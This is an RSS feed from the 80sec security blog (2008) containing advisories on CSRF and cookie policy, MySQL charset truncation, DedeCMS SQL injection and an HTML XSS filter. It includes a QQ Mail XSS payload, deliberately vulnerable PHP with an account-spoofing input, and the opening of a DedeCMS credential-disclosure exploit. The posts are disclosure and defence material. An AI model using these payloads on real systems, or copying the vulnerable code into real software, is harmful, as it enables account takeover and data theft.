<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>80sec &#187; web应用程序安全</title>
	<atom:link href="http://www.80sec.com/category/webapp-security/feed" rel="self" type="application/rss+xml" />
	<link>http://www.80sec.com</link>
	<description>Know it then hack it!</description>
	<lastBuildDate>Thu, 19 Aug 2010 08:43:01 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>CSRF攻击原理解析二</title>
		<link>http://www.80sec.com/csrf-securit2.html</link>
		<comments>http://www.80sec.com/csrf-securit2.html#comments</comments>
		<pubDate>Wed, 31 Dec 2008 13:26:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[web应用程序安全]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=53</guid>
		<description><![CDATA[CSRF攻击原理解析二
Author: rayh4c [80sec]
EMail: rayh4c#80sec.com
Site: http://www.80sec.com
Date: 2008-12-31
From: http://www.80sec.com/release/csrf-securit2.txt
0&#215;00 说明提醒
	由于CSRF攻击原理解析老版本文档中的部分内容不是很严谨，一定程度上误导了大家，这里我表示歉意。这个文档将重新从浏览器安全和cookie原理的角度对CSRF漏洞进行分析，理顺CSRF的攻击原理，修正老版本文档中的部分错误概念和思路，同时希望这次的修正可以帮助大家更深层次的研究Web安全问题。

0&#215;01 本地cookie和内存cookie的误区
	在老文档中我提出了本地COOIKIE和内存cookie两个概念，这两个概念是相对于系统和浏览器来说明的。本地cookie是浏览器保存在系统中的数据，在设置了cookie的expires参数的值也就是指定了cookie的失效时间的情况下，IE等浏览器会将cookie以文本格式保存在浏览器的临时目录里。内存cookie是当前浏览器进程保存的数据，在没有设置cookie的expires参数值的情况下，当浏览器进程结束时内存cookie也就消失了。具体参考如下cookie的标准格式：
Set-Cookie: ＜name＞=＜value＞[; ＜name＞=＜value＞] [; expires=＜date＞][; domain=＜domain_name＞] [; path=＜some_path＞][; secure][; HttpOnly] 
	在这里本地cookie和内存cookie的概念存在一个误区，误区存在于我们对于cookie与Web程序身份认证及会话的理解，首先我们必须明晰Session的概念，Session是由服务器维持的一个服务器端的存储空间，用户在连接服务器时，会由服务器生成一个唯一的SessionID,用该SessionID为标识符来存取服务器端的Session存储空间。SessionID可以由cookie保存，用户访问网站时，SessionID将会随cookie提交到服务器端。服务器也可以通过URL重写的方式来传递SessionID的值，但是在URL中传递SessionID是存在很大的安全风险的，黑客可能获取HTTP请求的来源信息等手段直接就得到了客户端的SessionID。
	其次我们应该认识到cookie和session的区别，因为这里的概念是混淆和模糊的。HTTP协议是无状态的，客户端与服务端无法长期的保存身份认证及会话状态，所以便需要cookie机制，在客户端以文件的形式保存会话状态。而session机制则是在服务器端保持状态，不需要长期保持会话状态，但是服务器端保持状态的同时在客户端也需要保存一个标识，前面我提到了使用URL传递SessionID的安全风险，所以session机制需要借助于cookie机制。原理上cookie只是做为SessionID的一个载体，我们只需要区分cookie机制和session机制即可。
	最后我对老文档中关于本地cookie和内存cookie的概念做一次修正，参照上面的分析和Web标准，这两种cookie严谨的说，应该称为会话cookie和持久化cookie。下面的0&#215;02、0&#215;03部分我将对老文档中的浏览器的安全缺陷内容做第二次的修正。
0&#215;02 浅析cookie的同源策略
	同源策略是今年被提起比较多的一个安全概念，这个策略是浏览器的安全基础，cookie做为浏览器的一个功能，自然也考虑到了同源策略，cookie的同源策略分为两个方面，第一个方面涉及到cookie的domain和path两个值，浏览器根据这两个值判断什么样的域名和页面能够读取cookie。第二个方面是第一方cookie和第三方cookie两个概念，第一方cookie是指当前正在查看的网站的cookie,在这个情况下对同源的HTTP请求都读取cookie发送，自然没有任何限制。而第三方cookie来自当前正在查看的网站以外的网站的cookie，第三方cookie可以是会话cookie和持久化cookie，我们正在查看的网站可能包含了第三方的资源，在这种情况下浏览器会因为考虑到同源策略，而判断从当前浏览的网站对站外的请求是否允许读取第三方cookie发送。
	cookie的同源策略可能比较晦涩，但是并不难理解，我们拿javascript的同源策略类比，比如AJAX不允许跨域的GET和POST请求，而正常的HTML代码中带有文件请求的标签实际上是属于GET请求，当网站嵌入了第三方的文件资源，也就产生了跨域的请求，同源策略是不可能干预这类正常的请求的，但是从安全的角度仍然有必要限制第三方cookie的存取。
0&#215;03 浏览器的差异和安全缺陷
	不同浏览器对于安全的考虑也是不同的，当前的主流浏览器就有很大的区别，Internet Explorer默认设置阻止第三方cookie的读取，而Firefox和Chrome默认是允许所有的cookie。这个是所有浏览器都有的功能，只是默认设置上存在差异，而这些差异才是真正导致CSRF攻击成功与否的关键。
	在对第三方cookie的读取上，浏览器实际上普遍存在着一个安全缺陷，那就是浏览网页时不会拦截内存cookie，内存cookie在WEB应用上是套用的session机制，浏览器开发时并没有从Web应用的角度去考虑安全，前面我提到了第三方cookie可以是会话cookie和持久化cookie，而多数浏览器并没有把内存cookie当成一个真正意义上的cookie处理。同时内存cookie有一个特性，这个特性就是内存cookie共享机制，比如从当前浏览器进程新访问的网页或新打开的浏览器窗口都会共享内存cookie，而现在的主流浏览器都流行多标签页浏览，所以给CSRF攻击又带来了便利。
0&#215;04 P3P头的隐患
	这一部分我将对Javascript劫持技术做部分的修正，WEB2.0程序员应该熟知JSON技术，简单的想一想，如果一个JSON数据接口是放在二级域名的上，按照cookie的同源策略，跨域请求的第三方cookie是会被拦截的，WEB2.0程序员想使用JSON技术来开发一个大型的WEB应用几乎是不可能实现的，而这个时候P3P头就起了大作用，P3P头是W3C制定的一项关于cookie的标准，现在大型网站的各种WEB2.0应用几乎都使用了P3P头，服务器端只要给HTTP请求返回内容加入如下的HTTP头就能实现跨域访问cookie：
P3P: CP=&#8221;CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA [...]]]></description>
			<content:encoded><![CDATA[<p>CSRF攻击原理解析二</p>
<p>Author: rayh4c [80sec]<br />
EMail: rayh4c#80sec.com<br />
Site: http://www.80sec.com<br />
Date: 2008-12-31<br />
From: http://www.80sec.com/release/csrf-securit2.txt</p>
<p>0&#215;00 说明提醒</p>
<p>	由于CSRF攻击原理解析老版本文档中的部分内容不是很严谨，一定程度上误导了大家，这里我表示歉意。这个文档将重新从浏览器安全和cookie原理的角度对CSRF漏洞进行分析，理顺CSRF的攻击原理，修正老版本文档中的部分错误概念和思路，同时希望这次的修正可以帮助大家更深层次的研究Web安全问题。<br />
<span id="more-53"></span></p>
<p>0&#215;01 本地cookie和内存cookie的误区</p>
<p>	在老文档中我提出了本地COOIKIE和内存cookie两个概念，这两个概念是相对于系统和浏览器来说明的。本地cookie是浏览器保存在系统中的数据，在设置了cookie的expires参数的值也就是指定了cookie的失效时间的情况下，IE等浏览器会将cookie以文本格式保存在浏览器的临时目录里。内存cookie是当前浏览器进程保存的数据，在没有设置cookie的expires参数值的情况下，当浏览器进程结束时内存cookie也就消失了。具体参考如下cookie的标准格式：</p>
<p>Set-Cookie: ＜name＞=＜value＞[; ＜name＞=＜value＞] [; expires=＜date＞][; domain=＜domain_name＞] [; path=＜some_path＞][; secure][; HttpOnly] </p>
<p>	在这里本地cookie和内存cookie的概念存在一个误区，误区存在于我们对于cookie与Web程序身份认证及会话的理解，首先我们必须明晰Session的概念，Session是由服务器维持的一个服务器端的存储空间，用户在连接服务器时，会由服务器生成一个唯一的SessionID,用该SessionID为标识符来存取服务器端的Session存储空间。SessionID可以由cookie保存，用户访问网站时，SessionID将会随cookie提交到服务器端。服务器也可以通过URL重写的方式来传递SessionID的值，但是在URL中传递SessionID是存在很大的安全风险的，黑客可能获取HTTP请求的来源信息等手段直接就得到了客户端的SessionID。</p>
<p>	其次我们应该认识到cookie和session的区别，因为这里的概念是混淆和模糊的。HTTP协议是无状态的，客户端与服务端无法长期的保存身份认证及会话状态，所以便需要cookie机制，在客户端以文件的形式保存会话状态。而session机制则是在服务器端保持状态，不需要长期保持会话状态，但是服务器端保持状态的同时在客户端也需要保存一个标识，前面我提到了使用URL传递SessionID的安全风险，所以session机制需要借助于cookie机制。原理上cookie只是做为SessionID的一个载体，我们只需要区分cookie机制和session机制即可。</p>
<p>	最后我对老文档中关于本地cookie和内存cookie的概念做一次修正，参照上面的分析和Web标准，这两种cookie严谨的说，应该称为会话cookie和持久化cookie。下面的0&#215;02、0&#215;03部分我将对老文档中的浏览器的安全缺陷内容做第二次的修正。</p>
<p>0&#215;02 浅析cookie的同源策略</p>
<p>	同源策略是今年被提起比较多的一个安全概念，这个策略是浏览器的安全基础，cookie做为浏览器的一个功能，自然也考虑到了同源策略，cookie的同源策略分为两个方面，第一个方面涉及到cookie的domain和path两个值，浏览器根据这两个值判断什么样的域名和页面能够读取cookie。第二个方面是第一方cookie和第三方cookie两个概念，第一方cookie是指当前正在查看的网站的cookie,在这个情况下对同源的HTTP请求都读取cookie发送，自然没有任何限制。而第三方cookie来自当前正在查看的网站以外的网站的cookie，第三方cookie可以是会话cookie和持久化cookie，我们正在查看的网站可能包含了第三方的资源，在这种情况下浏览器会因为考虑到同源策略，而判断从当前浏览的网站对站外的请求是否允许读取第三方cookie发送。</p>
<p>	cookie的同源策略可能比较晦涩，但是并不难理解，我们拿javascript的同源策略类比，比如AJAX不允许跨域的GET和POST请求，而正常的HTML代码中带有文件请求的标签实际上是属于GET请求，当网站嵌入了第三方的文件资源，也就产生了跨域的请求，同源策略是不可能干预这类正常的请求的，但是从安全的角度仍然有必要限制第三方cookie的存取。</p>
<p>0&#215;03 浏览器的差异和安全缺陷</p>
<p>	不同浏览器对于安全的考虑也是不同的，当前的主流浏览器就有很大的区别，Internet Explorer默认设置阻止第三方cookie的读取，而Firefox和Chrome默认是允许所有的cookie。这个是所有浏览器都有的功能，只是默认设置上存在差异，而这些差异才是真正导致CSRF攻击成功与否的关键。</p>
<p>	在对第三方cookie的读取上，浏览器实际上普遍存在着一个安全缺陷，那就是浏览网页时不会拦截内存cookie，内存cookie在WEB应用上是套用的session机制，浏览器开发时并没有从Web应用的角度去考虑安全，前面我提到了第三方cookie可以是会话cookie和持久化cookie，而多数浏览器并没有把内存cookie当成一个真正意义上的cookie处理。同时内存cookie有一个特性，这个特性就是内存cookie共享机制，比如从当前浏览器进程新访问的网页或新打开的浏览器窗口都会共享内存cookie，而现在的主流浏览器都流行多标签页浏览，所以给CSRF攻击又带来了便利。</p>
<p>0&#215;04 P3P头的隐患</p>
<p>	这一部分我将对Javascript劫持技术做部分的修正，WEB2.0程序员应该熟知JSON技术，简单的想一想，如果一个JSON数据接口是放在二级域名的上，按照cookie的同源策略，跨域请求的第三方cookie是会被拦截的，WEB2.0程序员想使用JSON技术来开发一个大型的WEB应用几乎是不可能实现的，而这个时候P3P头就起了大作用，P3P头是W3C制定的一项关于cookie的标准，现在大型网站的各种WEB2.0应用几乎都使用了P3P头，服务器端只要给HTTP请求返回内容加入如下的HTTP头就能实现跨域访问cookie：</p>
<p>P3P: CP=&#8221;CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV&#8221;</p>
<p>	P3P头解决了Web应用上的难题，却又给Web应用带来了新的安全隐患。浏览器读取了P3P头，就等于打开了第三方cookie的读取的开关，整站的Web应用就被笼罩在CSRF攻击的阴影下，程序员在开发时往往要多考虑一方面的安全因素，那就是站外提交，防止站外提交通常是判断HTTP头Referer，从而分辨请求是来自站内的正常请求，还是黑客在站外构造的CSRF攻击。同时又得考虑HTTP请求没有来源的特殊情况，这类情况可能是网络设备或者浏览器限制了发送HTTP头Referer，一般程序员按常理也会对没有HTTP头Referer的请求放行，这里就存在了一个巨大的风险，程序员没有考虑到FLASH的请求是不会包含HTTP头Referer的，这就是为什么在考虑了CSRF攻击防护的情况下，某些CSRF攻击还能够成功的原因。</p>
<p>0&#215;05 总结和后记</p>
<p>	应用和安全是一个矛盾体，Web安全也并不是某些人想象的那样属于奇技淫巧，更深层次的研究会发现很多简单的问题并不简单，由于这篇文档写得比较仓促，不足之处大家可以发EMAIL和我沟通。这是80SEC在2008最后一篇文档，藉此感谢所有支持80SEC的朋友，感谢80SEC团队的其他成员给我的帮助，祝大家2009年更上一层楼。</p>
<p>参考：</p>
<p>http://www.80sec.com/session-hijackin.html</p>
<p>http://blog.csdn.net/lake2/archive/2008/04/02/2245754.aspx</p>
<p>http://www.80sec.com/csrf-with-flash.html</p>
<p>http://www.80sec.com/csrf-securit.html</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/csrf-securit2.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mysql charset Truncation vulnerability</title>
		<link>http://www.80sec.com/mysql-charset-truncation-vulnerability.html</link>
		<comments>http://www.80sec.com/mysql-charset-truncation-vulnerability.html#comments</comments>
		<pubDate>Fri, 12 Sep 2008 15:50:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[web安全架构]]></category>
		<category><![CDATA[web应用程序安全]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=38</guid>
		<description><![CDATA[Mysql charset Truncation vulnerability
By http://www.80sec.com/
We found that there is a interesting feature in mysql database,when you are using utf8,gbk or other charsets.This feature may make your application unsecure.

Stefen Esser shows some attack manners of mysql in his paper[1], in which he issues the SQL Column Truncation vulnerability.
The application is a forum where new users can [...]]]></description>
			<content:encoded><![CDATA[<p>Mysql charset Truncation vulnerability</p>
<p>By http://www.80sec.com/</p>
<p>We found that there is a interesting feature in mysql database,when you are using utf8,gbk or other charsets.This feature may make your application unsecure.<br />
<span id="more-38"></span><br />
Stefen Esser shows some attack manners of mysql in his paper[1], in which he issues the SQL Column Truncation vulnerability.</p>
<p>The application is a forum where new users can register<br />
The administrator’s name is known e.g. &#8216;admin&#8217;<br />
MySQL is used in the default mode<br />
There is no application restriction on the length of new user names<br />
The database column username is limited to 16 characters </p>
<p>Although the application restrict the length of the username, we can bypass it in the following example:</p>
<p><code><br />
&#60;?php<br />
    $user=$_REQUEST['user'];<br />
    mysql_connect("localhost", "root", "") or<br />
        die("Could not connect: " . mysql_error());<br />
    mysql_select_db("test");<br />
	mysql_query("SET names utf8");<br />
    $result = mysql_query("SELECT * from test_user where user='$user'");<br />
	if(trim($user)=='' or strlen($user)>20 ){<br />
		die("Input user Invalid");<br />
	}<br />
	if(@mysql_fetch_array($result, MYSQL_NUM)) {<br />
		die("already exist");<br />
	}<br />
    else {<br />
		$sql="insert test_user values ('$user')";<br />
		mysql_query($sql);<br />
		echo "$user register OK!";<br />
	}<br />
    mysql_free_result($result);<br />
?><br />
</code></p>
<p>Read the code here:</p>
<p><code><br />
    $result = mysql_query("SELECT * from test_user where user='$user'");<br />
</code></p>
<p>If the attacker input a username &#8216;admin                      z&#8217;, and the sql will be like this:</p>
<p><code><br />
SELECT * FROM user WHERE username='admin                      z'<br />
</code></p>
<p>And the application will check the length of username with the following code:</p>
<p><code><br />
if(trim($user)=='' or strlen($user)>20 ){<br />
die("Input user Invalid");<br />
}<br />
</code></p>
<p>The attack will failed because the length of the username  &#8216;admin                      z&#8217; is greater then 20.</p>
<p>But it will not end here, attacker can input username &#8216;admin0xc1zzz&#8217;, and the sql will be like this:</p>
<p><code><br />
SELECT * FROM user WHERE username='admin0xc1zzz'<br />
</code></p>
<p>This pass the application&#8217;s logic,when the insert commond executes:</p>
<p><code><br />
insert test_user values ('admin0xc1zzz')<br />
</code></p>
<p>because the table is created in charset utf8,the 0xc1 is not a valid utf8 character,it will be striped,also all of the next characters will be striped too.Then the attacker got a user &#8220;admin&#8221;;</p>
<p>As you see,when mysql works at utf8,the invalid data will be striped ,but the webapplication doesn&#8217;t know this,it works at binaray.The difference between webapplication and database make a vulnerability.</p>
<p>Reference: </p>
<p>[1] http://www.suspekt.org/2008/08/18/mysql-and-sql-column-truncation-vulnerabilities/</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/mysql-charset-truncation-vulnerability.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dedecms 内置Mysqlids(80sec)</title>
		<link>http://www.80sec.com/dedecms-with-mysqlids8.html</link>
		<comments>http://www.80sec.com/dedecms-with-mysqlids8.html#comments</comments>
		<pubDate>Wed, 03 Sep 2008 05:02:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[web安全架构]]></category>
		<category><![CDATA[web应用程序安全]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=36</guid>
		<description><![CDATA[	DeDecms是国内采用比较广泛的一款cms软件，在之前的版本中，陆续被披漏存在SQL注射等安全问题，而SQL注射也是其安全问题的主要所在。为了解决SQL注射的问题，DedeCms在其发布的最新版和补丁中包括了80sec的Mysqlids，以用来抵御和检测Sql注射漏洞。
	Mysqlids作为一个ids存在于php应用程序和数据库操作之间，完全以Mysql的语法来分析执行的SQL语句，而不是采用传统的关键字检测的方法，经过合适的部署，基本不存在误报问题。对于一些非正常的SQL语句能进行阻止并且记录相关的信息，这样就可以很快地定位程序中存在注射漏洞的地方，为漏洞的及时修复提供必要的信息。Mysqlids的检测工作使用php实现，相对于SQL语句来说消耗的时间非常小，合理地部署Mysqlids可以极大地提高程序的安全性。
	DeDecms官方网站：http://www.dedecms.com
	有什么问题和建议欢迎与root#80sec.com联系：）
]]></description>
			<content:encoded><![CDATA[<p>	DeDecms是国内采用比较广泛的一款cms软件，在之前的版本中，陆续被披漏存在SQL注射等安全问题，而SQL注射也是其安全问题的主要所在。为了解决SQL注射的问题，DedeCms在其发布的最新版和补丁中包括了80sec的Mysqlids，以用来抵御和检测Sql注射漏洞。<br />
	Mysqlids作为一个ids存在于php应用程序和数据库操作之间，完全以Mysql的语法来分析执行的SQL语句，而不是采用传统的关键字检测的方法，经过合适的部署，基本不存在误报问题。对于一些非正常的SQL语句能进行阻止并且记录相关的信息，这样就可以很快地定位程序中存在注射漏洞的地方，为漏洞的及时修复提供必要的信息。Mysqlids的检测工作使用php实现，相对于SQL语句来说消耗的时间非常小，合理地部署Mysqlids可以极大地提高程序的安全性。</p>
<p>	DeDecms官方网站：http://www.dedecms.com</p>
<p>	有什么问题和建议欢迎与root#80sec.com联系：）</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/dedecms-with-mysqlids8.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Html富文本过滤</title>
		<link>http://www.80sec.com/richtext-xssfilter.html</link>
		<comments>http://www.80sec.com/richtext-xssfilter.html#comments</comments>
		<pubDate>Thu, 28 Aug 2008 05:06:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[web安全架构]]></category>
		<category><![CDATA[web应用程序安全]]></category>
		<category><![CDATA[未分类]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=34</guid>
		<description><![CDATA[程序背景：80sec注意到很多web应用程序在一些场合需要允许一些Html标签，和一些标签里的一些属性，如一些日志发表的地方，书写文章的地方，但是由于程序员对安全的不太了解，或者在自己进行的安全过滤时考虑不周，都容易带来跨站脚本攻击，在一些web2.0站点甚至引发Xss Worm。常规的一些检测措施包括黑名单，白名单等等，但是都因为过滤得并不全面，很容易被绕过。其实有另外一种过滤相对严格的方法，就是基于Html语法分析的filter，在满足应用的同时可以最大限度保证程序的安全，一些过滤比较严谨的如Yahoo Mail，Gmail等等就是基于该原理进行的过滤。SafeHtml就是其中一款使用Php的开源过滤器。官方站点在：http://pixel-apes.com/safehtml。

原理介绍：这种filter通过对输入的文档进行html解析，去掉不合法的标签和字符，如去掉html标签里的\0，得到一个标准的文档Dom，通过对该Dom的遍历，结合自己的策略就可以抛弃如script，link，style,Xml这种危险的标签，然后再针对标签的属性进行过滤，抛弃如On*这种属性，然后加入对src这种属性的检测，只允许特定的协议，对style属性进行检测，抛弃非法的style属性，最后补齐需要闭合的html标签，实现对整个文档的过滤。
程序优点：可以对整个文档进行非常安全的过滤，完全开源，也可以根据自己的需要进行适当的调整，来实现自己的安全需求。
程序缺点：非常严格的限制了一些标签的使用，对于整个程序的白名单和黑名单可能需要根据自己的需要进行调整，而一些调整可能带来安全问题，而且在过滤的时候并没有完全考虑字符集的因素，可能在GBK，Gb2312等字符集下绕过。
程序下载：80sec提供配置好的样例程序包（包括HTMLSax3类），Planet Chinese Security Community即使用该过滤包。
程序演示：程序测试，如果你有发现程序的问题，也请与root#80sec.com联系：）
]]></description>
			<content:encoded><![CDATA[<p>程序背景：80sec注意到很多web应用程序在一些场合需要允许一些Html标签，和一些标签里的一些属性，如一些日志发表的地方，书写文章的地方，但是由于程序员对安全的不太了解，或者在自己进行的安全过滤时考虑不周，都容易带来跨站脚本攻击，在一些web2.0站点甚至引发Xss Worm。常规的一些检测措施包括黑名单，白名单等等，但是都因为过滤得并不全面，很容易被绕过。其实有另外一种过滤相对严格的方法，就是基于Html语法分析的filter，在满足应用的同时可以最大限度保证程序的安全，一些过滤比较严谨的如Yahoo Mail，Gmail等等就是基于该原理进行的过滤。SafeHtml就是其中一款使用Php的开源过滤器。官方站点在：http://pixel-apes.com/safehtml。</p>
<p><span id="more-34"></span><br />
原理介绍：这种filter通过对输入的文档进行html解析，去掉不合法的标签和字符，如去掉html标签里的\0，得到一个标准的文档Dom，通过对该Dom的遍历，结合自己的策略就可以抛弃如script，link，style,Xml这种危险的标签，然后再针对标签的属性进行过滤，抛弃如On*这种属性，然后加入对src这种属性的检测，只允许特定的协议，对style属性进行检测，抛弃非法的style属性，最后补齐需要闭合的html标签，实现对整个文档的过滤。</p>
<p>程序优点：可以对整个文档进行非常安全的过滤，完全开源，也可以根据自己的需要进行适当的调整，来实现自己的安全需求。</p>
<p>程序缺点：非常严格的限制了一些标签的使用，对于整个程序的白名单和黑名单可能需要根据自己的需要进行调整，而一些调整可能带来安全问题，而且在过滤的时候并没有完全考虑字符集的因素，可能在GBK，Gb2312等字符集下绕过。</p>
<p>程序下载：80sec提供配置好的<a href="http://www.80sec.com/release/html.rar">样例程序包</a>（包括HTMLSax3类），<A href="http://planet.ph4nt0m.org/">Planet Chinese Security Community</a>即使用该过滤包。</p>
<p>程序演示：<A href="http://www.80sec.com/codz/HTML_Safe_example.php">程序测试</a>，如果你有发现程序的问题，也请与root#80sec.com联系：）</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/richtext-xssfilter.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>QQ Mail跨站脚本漏洞</title>
		<link>http://www.80sec.com/qqmail-new-xss.html</link>
		<comments>http://www.80sec.com/qqmail-new-xss.html#comments</comments>
		<pubDate>Tue, 26 Aug 2008 03:18:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[web应用程序安全]]></category>
		<category><![CDATA[客户端安全]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=33</guid>
		<description><![CDATA[漏洞说明：QQ Mail是Tencent公司提供的webmail服务，你可以使用你的QQ帐户来登陆使用Mail服务，具体的信息可以访问http://mail.qq.com/。但是80sec在QQ Mail里发现存在新的严重跨站脚本漏洞，恶意用户可以通过该漏洞在邮件里伪造登陆表单窃取目标用户的密码以及偷取Cookie以取得其他用户的身份，或者使用ajax等技术读取用户的敏感信息，任何浏览该邮件的用户都存在身份泄漏的风险。
漏洞成因：QQ Mail的Filter在解析Html标签时存在错误，构造畸形的Html标签将绕过过滤，从而在邮件正文里执行任意javascript。QQ Mail对这种类型的标签不做任何过滤，认为是无效html标识符而不做过滤，但是IE却可以正常解析该Html，所以构造如下的畸形Html邮件。


Hello,80sec   &#60;/xss style="x:expression(alert(document.cookie))"> 

将触发Xss漏洞。
漏洞测试：发送如下Html：

Hello,80sec   &#60;/xss style="x:expression(alert(document.cookie))"> 

漏洞状态：
80sec于 2008.8.14发现此漏洞
80sec于 2008.8.14通知官方
官方于  2008.8.26日修复[同时修复几个其他类型的XSS]
]]></description>
			<content:encoded><![CDATA[<p>漏洞说明：QQ Mail是Tencent公司提供的webmail服务，你可以使用你的QQ帐户来登陆使用Mail服务，具体的信息可以访问http://mail.qq.com/。但是80sec在QQ Mail里发现存在新的严重跨站脚本漏洞，恶意用户可以通过该漏洞在邮件里伪造登陆表单窃取目标用户的密码以及偷取Cookie以取得其他用户的身份，或者使用ajax等技术读取用户的敏感信息，任何浏览该邮件的用户都存在身份泄漏的风险。</p>
<p>漏洞成因：QQ Mail的Filter在解析Html标签时存在错误，构造畸形的Html标签将绕过过滤，从而在邮件正文里执行任意javascript。QQ Mail对</xss>这种类型的标签不做任何过滤，认为是无效html标识符而不做过滤，但是IE却可以正常解析该Html，所以构造如下的畸形Html邮件。<br />
<span id="more-33"></span><br />
<code></p>
<p>Hello,80sec <img src='http://www.80sec.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' />  &#60;/xss style="x:expression(alert(document.cookie))"> </p>
<p></code></p>
<p>将触发Xss漏洞。</p>
<p>漏洞测试：发送如下Html：</p>
<p><code></p>
<p>Hello,80sec <img src='http://www.80sec.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' />  &#60;/xss style="x:expression(alert(document.cookie))"> </p>
<p></code></p>
<p>漏洞状态：</p>
<p>80sec于 2008.8.14发现此漏洞<br />
80sec于 2008.8.14通知官方<br />
官方于  2008.8.26日修复[同时修复几个其他类型的XSS]</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/qqmail-new-xss.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>dedecms 注射漏洞</title>
		<link>http://www.80sec.com/dedecms-sql-injection.html</link>
		<comments>http://www.80sec.com/dedecms-sql-injection.html#comments</comments>
		<pubDate>Tue, 12 Aug 2008 05:39:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[web应用程序安全]]></category>
		<category><![CDATA[未分类]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=32</guid>
		<description><![CDATA[漏洞说明：DedeCms由2004年到现在，已经经历了五个版本，从DedeCms V2 开始，DedeCms开发了自己的模板引擎，使用XML名字空间风格的模板，对美工制作的直观性提供了极大的便利，从V2.1开始，DedeCms人气急却上升，成为国内最流行的CMS软件，在DedeCms V3版本中，开始引入了模型的概念，从而摆脱里传统网站内容管理对模块太分散，管理不集中的缺点，但随着时间的发展，发现纯粹用模型化并不能满足用户的需求，从而DedeCms 2007（DedeCms V5）应声而出.80sec在其产品中发现了多个严重的SQL注射漏洞，可能被恶意用户查询数据库的敏感信息，如管理员密码，加密key等等，从而控制整个网站。
漏洞厂商：http://www.dedecms.com

漏洞来源：http://www.80sec.com/release/dedecms-sql-injection.txt
漏洞解析：在joblist.php和guestbook_admin.php等文件中对orderby参数未做过滤即带入数据库查询，造成多个注射漏洞。漏洞部分代码如下

-------------------------------------------------------
if(empty($orderby)) $orderby = 'pubdate';
//重载列表
if($dopost=='getlist'){
	PrintAjaxHead();
	GetList($dsql,$pageno,$pagesize,$orderby);//调用GetList函数
	$dsql->Close();
	exit();
……
function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){
	global $cfg_phpurl,$cfg_ml;
	$jobs = array();
	$start = ($pageno-1) * $pagesize;
  $dsql->SetQuery("Select * From #@__jobs where memberID='".$cfg_ml->M_ID."' order by $orderby desc limit $start,$pagesize ");
	$dsql->Execute();//orderby 带入数据库查询
……
----------------------------------------------------------

漏洞利用：80sec提供攻击测试代码如下（如果发现代码无法测试，请访问80sec官方的txt文档）：

&#60;?
print_r('
--------------------------------------------------------------------------------
DedeCms >=5 "orderby" blind SQL injection/admin credentials disclosure exploit
BY Flyh4t
www.wolvez.org
Thx for all the members of W.S.T and my friend Oldjun
--------------------------------------------------------------------------------
');
if ($argc&#60;3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' [...]]]></description>
			<content:encoded><![CDATA[<p>漏洞说明：DedeCms由2004年到现在，已经经历了五个版本，从DedeCms V2 开始，DedeCms开发了自己的模板引擎，使用XML名字空间风格的模板，对美工制作的直观性提供了极大的便利，从V2.1开始，DedeCms人气急却上升，成为国内最流行的CMS软件，在DedeCms V3版本中，开始引入了模型的概念，从而摆脱里传统网站内容管理对模块太分散，管理不集中的缺点，但随着时间的发展，发现纯粹用模型化并不能满足用户的需求，从而DedeCms 2007（DedeCms V5）应声而出.80sec在其产品中发现了多个严重的SQL注射漏洞，可能被恶意用户查询数据库的敏感信息，如管理员密码，加密key等等，从而控制整个网站。</p>
<p>漏洞厂商：http://www.dedecms.com<br />
<span id="more-32"></span><br />
漏洞来源：<a href="http://www.80sec.com/release/dedecms-sql-injection.txt">http://www.80sec.com/release/dedecms-sql-injection.txt</a></p>
<p>漏洞解析：在joblist.php和guestbook_admin.php等文件中对orderby参数未做过滤即带入数据库查询，造成多个注射漏洞。漏洞部分代码如下</p>
<p><code><br />
-------------------------------------------------------<br />
if(empty($orderby)) $orderby = 'pubdate';</p>
<p>//重载列表<br />
if($dopost=='getlist'){<br />
	PrintAjaxHead();<br />
	GetList($dsql,$pageno,$pagesize,$orderby);//调用GetList函数<br />
	$dsql->Close();<br />
	exit();<br />
……<br />
